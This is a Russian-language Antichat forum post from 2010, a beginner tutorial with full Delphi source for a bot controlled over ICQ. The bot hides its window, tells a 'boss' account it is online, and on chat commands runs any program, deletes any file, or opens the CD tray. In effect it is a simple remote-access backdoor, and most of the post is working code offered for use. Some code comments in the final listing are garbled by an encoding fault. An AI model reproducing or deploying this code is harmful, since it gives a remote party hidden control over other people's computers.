ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Пишем ICQ-CONTROOLLL
  #1  
Старый 27.02.2010, 16:57
t3zo
Новичок
Регистрация: 18.02.2010
Сообщений: 20
Провел на форуме:
63443

Репутация: 33
По умолчанию Пишем ICQ-CONTROOLLL

Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!!
Начнем!!!
Я буду использовать delphi!
Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient
В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ICQClient, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    ICQClient1: TICQClient;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял!
Давайте напишем, что будет делать программа, при нажатии буттон 1!
Но перед этим, объявите глобальную переменную boss integer!
Код:
implementation

{$R *.dfm}
var boss:integer; //Глобальная переменная
procedure TForm1.Button1Click(Sender: TObject);
begin
 IcqClient1.UIN := strtoint(Edit1.text);   //Из первого едита берем уин бота
 IcqClient1.Password := Edit2.Text;  //Из второго едита берем пасс от бота
 boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3
 IcqClient1.Login();     //коннектимся....
end;
Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в Object inspector перейдите во вкладку Events!Там есть процедура
OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе
Код:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin

end;
Пропишим-ка, чтоб он нам отправил - IcqClient1.SendMessage(boss,'Bot is online');
Прекрасно...Теперь если будет коннект, то нам пришлют сообщ
Код:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн!
end;
Так теперь пропишем процедуру button2click, я предлагаю сделать программу
хайд! application.ShowMainForm := false;
Код:
procedure TForm1.Button2Click(Sender: TObject);
begin
 application.ShowMainForm := false;//скроемся!
end;
Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура OnMessageRecv, нажмите пару раз!!
Должно у вас в сурсе выглядеть так -
Код:
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin

end;
Объявим переменную cmd строковой!var cmd:string;
Теперь давайте составим комманды!!
Код:
*help - help
*start - Это у нас будет стартовать проги
*deletefile - это у нас будет удалять проги
*Cd_open - открывает смдюк //для этого добавьте в uses MMSystem;
*Cd_close - закрывает сидюк
Давайте пропишем!!!
Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд!
Код:
cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                                                 '*help - help'+#13#10+
                                                 '*start -  Это у нас будет стартовать проги'+#13#10+
                                                 '*deletefile -это у нас будет удалять проги'+#13#10+
                                                 '*Cd_open - открывает смдюк '+#13#10+
                                                 '*Cd_close - закрывает сидюк');
Я думаю уже все поняли как строить запросы)Давайте по порядку!!!!
Начнем со *start! Вот тут я думаю будет интересно!!
Нам надо понять что это *start и какая-то прога!!Помнится есть copy()
Код:
if copy(cmd,1,pos(' ',cmd)-1) = '*start'
Теперь давайте пропишем что должен делать!!
Код:
  
WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки!
  IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд
Теперь давайте *Deletefile принцип как и у *start
Код:
 if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд
 begin
  deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил !
  IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд!
 end;
Так у нас уже 3 комманды*help *start *deletefile
Давайте уже пропишем чтоб закрывал сидюк и открывал....
Тут все просто просто если cmd = '*Cd_open' то открыть сидюк!
Код:
 if cmd='*Cd_open' then 
 begin
   mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем
   IcqClient1.SendMessage(boss,cmd+' done');
 end;

 if cmd='*Cd_close' then
 begin
   mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем
   IcqClient1.SendMessage(boss,cmd+' done');
 end;
Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия...

Вот весь код!
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ICQClient, StdCtrls, MMSystem;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    ICQClient1: TICQClient;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    procedure ICQClient1Login(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
var boss:integer; //Ãëîáàëüíàÿ ïåðåìåííàÿ
procedure TForm1.Button1Click(Sender: TObject);
begin
 IcqClient1.UIN := strtoint(Edit1.text);   //Èç ïåðâîãî åäèòà áåðåì óèí áîòà
 IcqClient1.Password := Edit2.Text;  //Èç âòîðîãî åäèòà áåðåì ïàññ îò áîòà
 boss := strtoint(Edit3.Text); //Çàïîëíÿåì ïåðåìåííóþ áîññ ãëàâíûì óèíîì èõ åäèò3
 IcqClient1.Login();     //êîííåêòèìñÿ....
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 application.ShowMainForm := false;
end;

procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
var cmd:string;
begin
 cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                                                 '*help - help'+#13#10+
                                                 '*start - Ýòî ó íàñ áóäåò ñòàðòîâàòü ïðîãè '+#13#10+
                                                 '*deletefile - ýòî ó íàñ áóäåò óäàëÿòü ïðîãè'+#13#10+
                                                 '*Cd_open - îòêðûâàåò ñìäþê //äëÿ ýòîãî äîáàâüòå â uses MMSystem;'+#13#10+
                                                 '*Cd_close - çàêðûâàåò ñèäþê');
 if copy(cmd,1,pos(' ',cmd)-1) = '*start' then
 begin
  WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);
  IcqClient1.SendMessage(boss,cmd+' done');
  end;

 if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then
 begin
  deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));
  IcqClient1.SendMessage(boss,cmd+' done');
 end;

 if cmd='*Cd_open' then
 begin
   mciSendString('Set cdaudio door open wait', nil, 0, handle);
   IcqClient1.SendMessage(boss,cmd+' done');
 end;

 if cmd='*Cd_close' then
 begin
   mciSendString('Set cdaudio door closed wait', nil, 0, handle);
   IcqClient1.SendMessage(boss,cmd+' done');
 end;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
 IcqClient1.SendMessage(boss,'Bot is online');
end;

end.
(с)opyright by t3zo
P.S. Писал 2часа статью, надеюсь вы по достоинству оцените!!!Ваш t3zo...

Статья для новичков...
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Номера в Black листах Alexandr II ICQ - Покупка, продажа 7 26.05.2010 12:27
flood - spam icq Alexandr II ICQ 128 15.05.2010 12:29
Официальное заявление ICQ: использовать QIP — опасно xxxPixelxxxx Мировые новости 63 14.11.2009 04:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ